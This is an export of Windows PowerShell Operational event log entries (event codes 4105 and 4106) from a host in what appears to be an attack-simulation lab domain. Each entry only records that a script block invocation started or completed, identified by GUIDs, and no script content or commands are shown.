09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035928
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035927
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035922
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035921
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035912
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035911
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035906
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035905
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035899
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035898
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035897
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035896
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035880
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035879
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
